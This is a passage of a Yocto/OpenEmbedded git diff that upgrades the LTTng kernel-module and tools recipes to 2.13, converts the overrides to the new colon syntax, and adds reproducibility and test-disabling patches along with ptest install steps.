-LIC_FILES_CHKSUM = "file://LICENSE;md5=3f882d431dc0f32f1f44c0707aa41128"
-
-inherit module
-
-include lttng-platforms.inc
-
-SRC_URI = "https://lttng.org/files/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch \
- file://BUILD_RUNTIME_BUG_ON-vs-gcc7.patch \
- file://0001-fix-btrfs-tracepoints-output-proper-root-owner-for-t.patch \
- "
-
-SRC_URI[sha256sum] = "673ef85c9f03e9b8fed10795e09d4e68add39404b70068d08b10f7b85754d7f0"
-
-export INSTALL_MOD_DIR="kernel/lttng-modules"
-
-EXTRA_OEMAKE += "KERNELDIR='${STAGING_KERNEL_DIR}'"
-
-do_install_append() {
- # Delete empty directories to avoid QA failures if no modules were built
- find ${D}/${nonarch_base_libdir} -depth -type d -empty -exec rmdir {} \;
-}
-
-python do_package_prepend() {
- if not os.path.exists(os.path.join(d.getVar('D'), d.getVar('nonarch_base_libdir')[1:], 'modules')):
- bb.warn("%s: no modules were created; this may be due to CONFIG_TRACEPOINTS not being enabled in your kernel." % d.getVar('PN'))
-}
-
-BBCLASSEXTEND = "devupstream:target"
-LIC_FILES_CHKSUM_class-devupstream = "file://LICENSE;md5=3f882d431dc0f32f1f44c0707aa41128"
-DEFAULT_PREFERENCE_class-devupstream = "-1"
-SRC_URI_class-devupstream = "git://git.lttng.org/lttng-modules;branch=stable-2.12 \
- file://Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch \
- file://BUILD_RUNTIME_BUG_ON-vs-gcc7.patch \
- "
-SRCREV_class-devupstream = "ad594e3a953db1b0c3c059fde45b5a5494f6be78"
-PV_class-devupstream = "2.12.2+git${SRCPV}"
-S_class-devupstream = "${WORKDIR}/git"
-SRCREV_FORMAT ?= "lttng_git"
diff --git a/meta/recipes-kernel/lttng/lttng-modules_2.13.0.bb b/meta/recipes-kernel/lttng/lttng-modules_2.13.0.bb
new file mode 100644
index 0000000000..6dfde8dcad
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules_2.13.0.bb
@@ -0,0 +1,47 @@
+SECTION = "devel"
+SUMMARY = "Linux Trace Toolkit KERNEL MODULE"
+DESCRIPTION = "The lttng-modules 2.0 package contains the kernel tracer modules"
+HOMEPAGE = "https://lttng.org/"
+LICENSE = "LGPLv2.1 & GPLv2 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0464cff101a009c403cd2ed65d01d4c4"
+
+inherit module
+
+include lttng-platforms.inc
+
+SRC_URI = "https://lttng.org/files/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://0001-fix-cpu-hotplug-Remove-deprecated-CPU-hotplug-functi.patch \
+ file://0002-fix-Revert-Makefile-Enable-Wimplicit-fallthrough-for.patch \
+ "
+# Use :append here so that the patch is applied also when using devupstream
+SRC_URI:append = " file://0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch"
+
+SRC_URI[sha256sum] = "5ebf2b3cd128b3a1c8afaea1e98d5a6f7f0676fd524fcf72361c34d9dc603356"
+
+export INSTALL_MOD_DIR="kernel/lttng-modules"
+
+EXTRA_OEMAKE += "KERNELDIR='${STAGING_KERNEL_DIR}'"
+
+MODULES_MODULE_SYMVERS_LOCATION = "src"
+
+do_install:append() {
+ # Delete empty directories to avoid QA failures if no modules were built
+ if [ -d ${D}/${nonarch_base_libdir} ]; then
+ find ${D}/${nonarch_base_libdir} -depth -type d -empty -exec rmdir {} \;
+ fi
+}
+
+python do_package:prepend() {
+ if not os.path.exists(os.path.join(d.getVar('D'), d.getVar('nonarch_base_libdir')[1:], 'modules')):
+ bb.warn("%s: no modules were created; this may be due to CONFIG_TRACEPOINTS not being enabled in your kernel." % d.getVar('PN'))
+}
+
+BBCLASSEXTEND = "devupstream:target"
+LIC_FILES_CHKSUM:class-devupstream = "file://LICENSE;md5=0464cff101a009c403cd2ed65d01d4c4"
+DEFAULT_PREFERENCE:class-devupstream = "-1"
+SRC_URI:class-devupstream = "git://git.lttng.org/lttng-modules;branch=stable-2.13"
+
+SRCREV:class-devupstream = "c570be0da77e963d77bac099d468bc0cd5f1bd63"
+PV:class-devupstream = "2.13.0+git${SRCPV}"
+S:class-devupstream = "${WORKDIR}/git"
+SRCREV_FORMAT ?= "lttng_git"
diff --git a/meta/recipes-kernel/lttng/lttng-platforms.inc b/meta/recipes-kernel/lttng/lttng-platforms.inc
index aa8220bbb4..933c65d85d 100644
--- a/meta/recipes-kernel/lttng/lttng-platforms.inc
+++ b/meta/recipes-kernel/lttng/lttng-platforms.inc
@@ -2,16 +2,16 @@
# Whether the platform supports kernel tracing
#
LTTNGMODULES = "lttng-modules"
-LTTNGMODULES_arc = ""
-LTTNGMODULES_riscv64 = ""
+LTTNGMODULES:arc = ""
+LTTNGMODULES:riscv64 = ""
-COMPATIBLE_HOST_riscv64_pn-lttng-modules = "null"
-COMPATIBLE_HOST_arc_pn-lttng-modules = "null"
+COMPATIBLE_HOST:riscv64:pn-lttng-modules = "null"
+COMPATIBLE_HOST:arc:pn-lttng-modules = "null"
# Whether the platform supports userspace tracing
# lttng-ust uses sched_getcpu() which is not there on for some platforms.
LTTNGUST = "lttng-ust"
-LTTNGUST_arc = ""
+LTTNGUST:arc = ""
-COMPATIBLE_HOST_arc_pn-lttng-ust = "null"
+COMPATIBLE_HOST:arc:pn-lttng-ust = "null"
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-regression-disable-the-tools-live-tests.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-regression-disable-the-tools-live-tests.patch
deleted file mode 100644
index f2c14ecc94..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-regression-disable-the-tools-live-tests.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From c69b68e5c03f1d260025fb1dd9ab7345e31e15ef Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 24 Jan 2020 18:03:25 +0100
-Subject: [PATCH] tests/regression: disable the tools/live tests
-
-They have been found to sporadically fail; the issue has been
-reported upstream and they will work to investigate and fix:
-https://bugs.lttng.org/issues/1217
-
-Upstream-Status: Inappropriate [upstream is working on a real fix]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/regression/Makefile.am | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/tests/regression/Makefile.am b/tests/regression/Makefile.am
-index 73eb9f7..b92bdbd 100644
---- a/tests/regression/Makefile.am
-+++ b/tests/regression/Makefile.am
-@@ -9,14 +9,10 @@ TESTS = tools/filtering/test_invalid_filter \
- tools/filtering/test_valid_filter \
- tools/streaming/test_ust \
- tools/health/test_thread_ok \
-- tools/live/test_ust \
-- tools/live/test_ust_tracefile_count \
-- tools/live/test_lttng_ust \
- tools/tracefile-limits/test_tracefile_count \
- tools/tracefile-limits/test_tracefile_size \
- tools/exclusion/test_exclusion \
- tools/snapshots/test_ust_fast \
-- tools/snapshots/test_ust_streaming \
- tools/save-load/test_save \
- tools/save-load/test_load \
- tools/save-load/test_autoload \
diff --git a/meta/recipes-kernel/lttng/lttng-tools/determinism.patch b/meta/recipes-kernel/lttng/lttng-tools/determinism.patch
new file mode 100644
index 0000000000..b2ab880bd6
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/determinism.patch
@@ -0,0 +1,64 @@
+This is a bit ugly. Specifing abs_builddir as an RPATH is plain wrong when
+cross compiling. Sadly, removing the rpath makes libtool/automake do
+weird things and breaks the build as shared libs are no longer generated.
+
+We already try and delete the RPATH at do_install with chrpath however
+that does leave the path in the string table so it doesn't help us
+with reproducibility.
+
+Instead, hack in a bogus but harmless path, then delete it later in
+our do_install. Ultimately we may want to pass a specific path to use
+to configure if we really do need to set an RPATH at all. It is unclear
+to me whether the tests need that or not.
+
+Fixes reproducibility issues for lttng-tools.
+
+Upstream-Status: Pending [needs discussion with upstream about the correct solution]
+RP 2021/3/1
+
+Index: lttng-tools-2.12.2/tests/regression/ust/ust-dl/Makefile.am
+===================================================================
+--- lttng-tools-2.12.2.orig/tests/regression/ust/ust-dl/Makefile.am
++++ lttng-tools-2.12.2/tests/regression/ust/ust-dl/Makefile.am
+@@ -27,16 +27,16 @@ noinst_LTLIBRARIES = libzzz.la libbar.la
+
+ libzzz_la_SOURCES = libzzz.c libzzz.h
+ libzzz_la_LDFLAGS = -module -shared -avoid-version \
+- -rpath $(abs_builddir)
++ -rpath /usr/lib
+
+ libbar_la_SOURCES = libbar.c libbar.h
+ libbar_la_LDFLAGS = -module -shared -avoid-version \
+- -rpath $(abs_builddir)
++ -rpath /usr/lib
+ libbar_la_LIBADD = libzzz.la
+
+ libfoo_la_SOURCES = libfoo.c libfoo.h
+ libfoo_la_LDFLAGS = -module -shared -avoid-version \
+- -rpath $(abs_builddir)
++ -rpath /usr/lib
+ libfoo_la_LIBADD = libbar.la
+
+ CLEANFILES = libfoo.so libfoo.so.debug libbar.so libbar.so.debug \
+@@ -44,7 +44,7 @@ CLEANFILES = libfoo.so libfoo.so.debug l
+
+ libtp_la_SOURCES = libbar-tp.h libbar-tp.c libfoo-tp.h libfoo-tp.c \
+ libzzz-tp.h libzzz-tp.c
+-libtp_la_LDFLAGS = -module -shared -rpath $(abs_builddir)
++libtp_la_LDFLAGS = -module -shared -rpath /usr/lib
+
+ # Extract debug symbols
+ libfoo.so.debug: libfoo.la
+Index: lttng-tools-2.12.2/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
+===================================================================
+--- lttng-tools-2.12.2.orig/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
++++ lttng-tools-2.12.2/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
+@@ -5,7 +5,7 @@ AM_CFLAGS += -O0
+ noinst_LTLIBRARIES = libfoo.la
+
+ libfoo_la_SOURCES = foo.c foo.h
+-libfoo_la_LDFLAGS = -shared -module -avoid-version -rpath $(abs_builddir)/.libs/
++libfoo_la_LDFLAGS = -shared -module -avoid-version -rpath /usr/lib
+
+ noinst_PROGRAMS = userspace-probe-elf-binary
+ userspace_probe_elf_binary_SOURCES = userspace-probe-elf-binary.c
diff --git a/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch b/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch
new file mode 100644
index 0000000000..3a77ea2e43
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch
@@ -0,0 +1,34 @@
+Upstream-Status: Inappropriate [need to root cause the test hangs]
+
+We keep seeing hangs in the tools/notifications tests on x86 and arm for
+a variety of distros. Exclude them for now to work out if this is the
+only place we see them and give SWAT/triage a break from the stream
+of them.
+
+https://bugzilla.yoctoproject.org/show_bug.cgi?id=14263
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: lttng-tools-2.13.1/tests/regression/Makefile.am
+===================================================================
+--- lttng-tools-2.13.1.orig/tests/regression/Makefile.am
++++ lttng-tools-2.13.1/tests/regression/Makefile.am
+@@ -29,18 +29,6 @@ TESTS = tools/base-path/test_ust \
+ tools/crash/test_crash \
+ tools/regen-metadata/test_ust \
+ tools/regen-statedump/test_ust \
+- tools/notification/test_notification_ust_error \
+- tools/notification/test_notification_ust_buffer_usage \
+- tools/notification/test_notification_ust_capture \
+- tools/notification/test_notification_ust_event_rule_condition_exclusion \
+- tools/notification/test_notification_kernel_error \
+- tools/notification/test_notification_kernel_buffer_usage \
+- tools/notification/test_notification_kernel_capture \
+- tools/notification/test_notification_kernel_instrumentation \
+- tools/notification/test_notification_kernel_syscall \
+- tools/notification/test_notification_notifier_discarded_count \
+- tools/notification/test_notification_kernel_userspace_probe \
+- tools/notification/test_notification_multi_app \
+ tools/rotation/test_ust \
+ tools/rotation/test_kernel \
+ tools/rotation/test_save_load_mi \
diff --git a/meta/recipes-kernel/lttng/lttng-tools/run-ptest b/meta/recipes-kernel/lttng/lttng-tools/run-ptest
index eaa2e7b29d..c4dbe50f21 100755
--- a/meta/recipes-kernel/lttng/lttng-tools/run-ptest
+++ b/meta/recipes-kernel/lttng/lttng-tools/run-ptest
@@ -1,6 +1,7 @@
#!/bin/sh
# Without --ignore-exit, the tap harness causes any FAILs within a
# test plan to raise ERRORs; this is just noise.
+export LD_LIBRARY_PATH=FIXMEPTESTPATH/tests/utils/testapp/userspace-probe-elf-binary/.libs
makeargs="LOG_DRIVER_FLAGS=--ignore-exit top_srcdir=$PWD top_builddir=$PWD"
make -k -t all >/dev/null 2>&1
exec make -k -s $makeargs check 2>/dev/null | sed -e 's#/tmp/tmp\...........#/tmp/tmp.XXXXXXXXXX#g'
diff --git a/meta/recipes-kernel/lttng/lttng-tools_2.12.2.bb b/meta/recipes-kernel/lttng/lttng-tools_2.12.2.bb
deleted file mode 100644
index 0787e04d19..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools_2.12.2.bb
+++ /dev/null
@@ -1,166 +0,0 @@
-SECTION = "devel"
-SUMMARY = "Linux Trace Toolkit Control"
-DESCRIPTION = "The Linux trace toolkit is a suite of tools designed \
-to extract program execution details from the Linux operating system \
-and interpret them."
-
-LICENSE = "GPLv2 & LGPLv2.1"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=40ef17463fbd6f377db3c47b1cbaded8 \
- file://LICENSES/GPL-2.0;md5=e68f69a54b44ba526ad7cb963e18fbce \
- file://LICENSES/LGPL-2.1;md5=9920968d0f2ff585ce61fae30344dd95"
-
-include lttng-platforms.inc
-
-DEPENDS = "liburcu popt libxml2 util-linux"
-RDEPENDS_${PN} = "libgcc"
-RRECOMMENDS_${PN} += "${LTTNGMODULES}"
-RDEPENDS_${PN}-ptest += "make perl bash gawk babeltrace procps perl-module-overloading coreutils util-linux kmod ${LTTNGMODULES} sed python3-core"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-utils"
-RDEPENDS_${PN}-ptest_append_libc-musl = " musl-utils"
-# babelstats.pl wants getopt-long
-RDEPENDS_${PN}-ptest += "perl-module-getopt-long"
-
-PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
- am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
- PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
-"
-PACKAGECONFIG ??= "${LTTNGUST}"
-PACKAGECONFIG[python] = "--enable-python-bindings ${PYTHON_OPTION},,python3 swig-native"
-PACKAGECONFIG[lttng-ust] = "--with-lttng-ust, --without-lttng-ust, lttng-ust"
-PACKAGECONFIG[kmod] = "--with-kmod, --without-kmod, kmod"
-PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
-
-SRC_URI = "https://lttng.org/files/lttng-tools/lttng-tools-${PV}.tar.bz2 \
- file://0001-tests-do-not-strip-a-helper-library.patch \
- file://run-ptest \
- file://lttng-sessiond.service \
- file://0001-tests-regression-disable-the-tools-live-tests.patch \
- "
-
-SRC_URI[sha256sum] = "9ed9161795ff023b076f9f95afaa4f1f822ec42495c0fa04c586ab8fa74e84f1"
-
-inherit autotools ptest pkgconfig useradd python3-dir manpages systemd
-
-SYSTEMD_SERVICE_${PN} = "lttng-sessiond.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "tracing"
-
-FILES_${PN} += "${libdir}/lttng/libexec/* ${datadir}/xml/lttng \
- ${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/*.la"
-
-# Since files are installed into ${libdir}/lttng/libexec we match
-# the libexec insane test so skip it.
-# Python module needs to keep _lttng.so
-INSANE_SKIP_${PN} = "libexec dev-so"
-INSANE_SKIP_${PN}-dbg = "libexec"
-
-PRIVATE_LIBS_${PN}-ptest = "libfoo.so"
-
-do_install_append () {
- # install systemd unit file
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/lttng-sessiond.service ${D}${systemd_unitdir}/system
-}
-
-do_install_ptest () {
- for f in Makefile tests/Makefile tests/utils/utils.sh tests/regression/tools/save-load/load-42*.lttng tests/regression/tools/save-load/configuration/load-42*.lttng tests/regression/tools/health/test_health.sh tests/regression/tools/metadata/utils.sh tests/regression/tools/rotation/rotate_utils.sh; do
- install -D "${B}/$f" "${D}${PTEST_PATH}/$f"
- done
-
- for f in config/tap-driver.sh config/test-driver src/common/config/session.xsd src/common/mi-lttng-4.0.xsd; do
- install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
- done
-
- # Prevent 'make check' from recursing into non-test subdirectories.
- sed -i -e 's!^SUBDIRS = .*!SUBDIRS = tests!' "${D}${PTEST_PATH}/Makefile"
-
- # We don't need these
- sed -i -e '/dist_noinst_SCRIPTS = /,/^$/d' "${D}${PTEST_PATH}/tests/Makefile"
-
- # We shouldn't need to build anything in tests/utils
- sed -i -e 's!am__append_1 = . utils!am__append_1 = . !' \
- "${D}${PTEST_PATH}/tests/Makefile"
-
- # Copy the tests directory tree and the executables and
- # Makefiles found within.
- for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
- install -d "${D}${PTEST_PATH}/tests/$d"
- find "${B}/tests/$d" -maxdepth 1 -executable -type f \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- # Take all .py scripts for tests using the python bindings.
- find "${B}/tests/$d" -maxdepth 1 -type f -name "*.py" \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- test -r "${B}/tests/$d/Makefile" && \
- install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
- done
-
- for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
- for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
- cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
- case $f in
- *.so)
- install -d ${D}${PTEST_PATH}/tests/$d/
- ln -s ../$f ${D}${PTEST_PATH}/tests/$d/$f
- # Remove any rpath/runpath to pass QA check.
- chrpath --delete ${D}${PTEST_PATH}/tests/$d/$f
- ;;
- esac
- done
- done
-
- chrpath --delete ${D}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/userspace-probe-elf-binary
-
- #
- # Use the versioned libs of liblttng-ust-dl.
- #
- ustdl="${D}${PTEST_PATH}/tests/regression/ust/ust-dl/test_ust-dl.py"
- if [ -e $ustdl ]; then
- sed -i -e 's!:liblttng-ust-dl.so!:liblttng-ust-dl.so.0!' $ustdl
- fi
-
- install ${B}/tests/unit/ini_config/sample.ini ${D}${PTEST_PATH}/tests/unit/ini_config/
-
- # We shouldn't need to build anything in tests/regression/tools
- sed -i -e 's!^SUBDIRS = tools !SUBDIRS = !' \
- "${D}${PTEST_PATH}/tests/regression/Makefile"
-
- # Prevent attempts to update Makefiles during test runs, and
- # silence "Making check in $SUBDIR" messages.
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i -e '/Makefile:/,/^$/d' -e '/%: %.in/,/^$/d' \
- -e '/echo "Making $$target in $$subdir"; \\/d' \
- -e 's/^srcdir = \(.*\)/srcdir = ./' \
- -e 's/^builddir = \(.*\)/builddir = ./' \
- -e 's/^all-am:.*/all-am:/' \
- {} +
-
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- touch -r "${B}/Makefile" {} +
-
- #
- # Need to stop generated binaries from rebuilding by removing their source dependencies
- #
- sed -e 's#\(^test.*OBJECTS.=\)#disable\1#g' \
- -e 's#\(^test.*DEPENDENCIES.=\)#disable\1#g' \
- -e 's#\(^test.*SOURCES.=\)#disable\1#g' \
- -e 's#\(^test.*LDADD.=\)#disable\1#g' \
- -i ${D}${PTEST_PATH}/tests/unit/Makefile
-
- # Substitute links to installed binaries.
- for prog in lttng lttng-relayd lttng-sessiond lttng-consumerd lttng-crash; do
- exedir="${D}${PTEST_PATH}/src/bin/${prog}"
- install -d "$exedir"
- case "$prog" in
- lttng-consumerd)
- ln -s "${libdir}/lttng/libexec/$prog" "$exedir"
- ;;
- *)
- ln -s "${bindir}/$prog" "$exedir"
- ;;
- esac
- done
-}
diff --git a/meta/recipes-kernel/lttng/lttng-tools_2.13.2.bb b/meta/recipes-kernel/lttng/lttng-tools_2.13.2.bb
new file mode 100644
index 0000000000..d6ce2c7e32
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools_2.13.2.bb
@@ -0,0 +1,188 @@
+SECTION = "devel"
+SUMMARY = "Linux Trace Toolkit Control"
+DESCRIPTION = "The Linux trace toolkit is a suite of tools designed \
+to extract program execution details from the Linux operating system \
+and interpret them."
+HOMEPAGE = "https://github.com/lttng/lttng-tools"
+
+LICENSE = "GPLv2 & LGPLv2.1"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=40ef17463fbd6f377db3c47b1cbaded8 \
+ file://LICENSES/GPL-2.0;md5=e68f69a54b44ba526ad7cb963e18fbce \
+ file://LICENSES/LGPL-2.1;md5=9920968d0f2ff585ce61fae30344dd95"
+
+include lttng-platforms.inc
+
+DEPENDS = "liburcu popt libxml2 util-linux bison-native"
+RDEPENDS:${PN} = "libgcc"
+RRECOMMENDS:${PN} += "${LTTNGMODULES}"
+RDEPENDS:${PN}-ptest += "make perl bash gawk babeltrace procps perl-module-overloading coreutils util-linux kmod ${LTTNGMODULES} sed python3-core grep"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils"
+RDEPENDS:${PN}-ptest:append:libc-musl = " musl-utils"
+# babelstats.pl wants getopt-long
+RDEPENDS:${PN}-ptest += "perl-module-getopt-long"
+
+PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
+ am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
+ PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
+"
+PACKAGECONFIG ??= "${LTTNGUST} kmod"
+PACKAGECONFIG[python] = "--enable-python-bindings ${PYTHON_OPTION},,python3 swig-native"
+PACKAGECONFIG[lttng-ust] = "--with-lttng-ust, --without-lttng-ust, lttng-ust"
+PACKAGECONFIG[kmod] = "--with-kmod, --without-kmod, kmod"
+PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
+
+SRC_URI = "https://lttng.org/files/lttng-tools/lttng-tools-${PV}.tar.bz2 \
+ file://0001-tests-do-not-strip-a-helper-library.patch \
+ file://run-ptest \
+ file://lttng-sessiond.service \
+ file://determinism.patch \
+ file://disable-tests.patch \
+ "
+
+SRC_URI[sha256sum] = "ced2ba00020da77fd17ac92b5a53825502409a07e3aeca28f9515d4a844fd7bd"
+
+inherit autotools ptest pkgconfig useradd python3-dir manpages systemd
+
+CACHED_CONFIGUREVARS = "PGREP=/usr/bin/pgrep"
+
+SYSTEMD_SERVICE:${PN} = "lttng-sessiond.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+USERADD_PACKAGES = "${PN}"
+GROUPADD_PARAM:${PN} = "tracing"
+
+FILES:${PN} += "${libdir}/lttng/libexec/* ${datadir}/xml/lttng \
+ ${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/*.la"
+
+# Since files are installed into ${libdir}/lttng/libexec we match
+# the libexec insane test so skip it.
+# Python module needs to keep _lttng.so
+INSANE_SKIP:${PN} = "libexec dev-so"
+INSANE_SKIP:${PN}-dbg = "libexec"
+
+PRIVATE_LIBS:${PN}-ptest = "libfoo.so"
+
+do_install:append () {
+ # install systemd unit file
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/lttng-sessiond.service ${D}${systemd_system_unitdir}
+}
+
+do_install_ptest () {
+ for f in Makefile tests/Makefile tests/utils/utils.sh tests/regression/tools/save-load/*.lttng \
+ tests/regression/tools/save-load/configuration/load-42*.lttng tests/regression/tools/health/test_health.sh \
+ tests/regression/tools/metadata/utils.sh tests/regression/tools/rotation/rotate_utils.sh \
+ tests/regression/tools/notification/util_event_generator.sh \
+ tests/regression/tools/base-path/*.lttng; do
+ install -D "${B}/$f" "${D}${PTEST_PATH}/$f"
+ done
+
+ for f in tests/utils/tap-driver.sh config/test-driver src/common/config/session.xsd src/common/mi-lttng-4.1.xsd; do
+ install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
+ done
+
+ # Patch in the correct path for the custom libraries a helper executable needs
+ sed -i -e 's!FIXMEPTESTPATH!${PTEST_PATH}!' "${D}${PTEST_PATH}/run-ptest"
+
+ # Prevent 'make check' from recursing into non-test subdirectories.
+ sed -i -e 's!^SUBDIRS = .*!SUBDIRS = tests!' "${D}${PTEST_PATH}/Makefile"
+
+ # We don't need these
+ sed -i -e '/dist_noinst_SCRIPTS = /,/^$/d' "${D}${PTEST_PATH}/tests/Makefile"
+
+ # We shouldn't need to build anything in tests/utils
+ sed -i -e 's!am__append_1 = . utils!am__append_1 = . !' \
+ "${D}${PTEST_PATH}/tests/Makefile"
+
+ # Copy the tests directory tree and the executables and
+ # Makefiles found within.
+ for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${B}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ # Take all .py scripts for tests using the python bindings.
+ find "${B}/tests/$d" -maxdepth 1 -type f -name "*.py" \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ test -r "${B}/tests/$d/Makefile" && \
+ install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
+ done
+
+ for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
+ for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
+ cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
+ case $f in
+ *.so|userspace-probe-elf-binary)
+ install -d ${D}${PTEST_PATH}/tests/$d/
+ ln -s ../$f ${D}${PTEST_PATH}/tests/$d/$f
+ # Remove any rpath/runpath to pass QA check.
+ chrpath --delete ${D}${PTEST_PATH}/tests/$d/$f
+ ;;
+ esac
+ done
+ done
+
+ chrpath --delete ${D}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/userspace-probe-elf-binary
+ chrpath --delete ${D}${PTEST_PATH}/tests/regression/ust/ust-dl/libbar.so
+ chrpath --delete ${D}${PTEST_PATH}/tests/regression/ust/ust-dl/libfoo.so
+
+ #
+ # Use the versioned libs of liblttng-ust-dl.
+ #
+ ustdl="${D}${PTEST_PATH}/tests/regression/ust/ust-dl/test_ust-dl.py"
+ if [ -e $ustdl ]; then
+ sed -i -e 's!:liblttng-ust-dl.so!:liblttng-ust-dl.so.0!' $ustdl
+ fi
+
+ install ${B}/tests/unit/ini_config/sample.ini ${D}${PTEST_PATH}/tests/unit/ini_config/
+
+ # We shouldn't need to build anything in tests/regression/tools
+ sed -i -e 's!^SUBDIRS = tools !SUBDIRS = !' \
+ "${D}${PTEST_PATH}/tests/regression/Makefile"
+
+ # Prevent attempts to update Makefiles during test runs, and
+ # silence "Making check in $SUBDIR" messages.
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i -e '/Makefile:/,/^$/d' -e '/%: %.in/,/^$/d' \
+ -e '/echo "Making $$target in $$subdir"; \\/d' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' \
+ -e 's/^all-am:.*/all-am:/' \
+ {} +
+
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ touch -r "${B}/Makefile" {} +
+
+ #
+ # Need to stop generated binaries from rebuilding by removing their source dependencies
+ #
+ sed -e 's#\(^test.*OBJECTS.=\)#disable\1#g' \
+ -e 's#\(^test.*DEPENDENCIES.=\)#disable\1#g' \
+ -e 's#\(^test.*SOURCES.=\)#disable\1#g' \
+ -e 's#\(^test.*LDADD.=\)#disable\1#g' \
+ -i ${D}${PTEST_PATH}/tests/unit/Makefile
+
+ # Fix hardcoded build path
+ sed -e 's#TESTAPP_PATH=.*/tests/regression/#TESTAPP_PATH="${PTEST_PATH}/tests/regression/#' \
+ -i ${D}${PTEST_PATH}/tests/regression/ust/python-logging/test_python_logging
+
+ # Substitute links to installed binaries.
+ for prog in lttng lttng-relayd lttng-sessiond lttng-consumerd lttng-crash; do
+ exedir="${D}${PTEST_PATH}/src/bin/${prog}"
+ install -d "$exedir"
+ case "$prog" in
+ lttng-consumerd)
+ ln -s "${libdir}/lttng/libexec/$prog" "$exedir"
+ ;;
+ *)
+ ln -s "${bindir}/$prog" "$exedir"
+ ;;
+ esac
+ done
+}
+
+INHIBIT_PACKAGE_STRIP_FILES = "\
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/userspace-probe-elf-binary \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/.libs/userspace-probe-elf-binary \
+ "
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch
new file mode 100644
index 0000000000..cbbf1df812
--- /dev/null
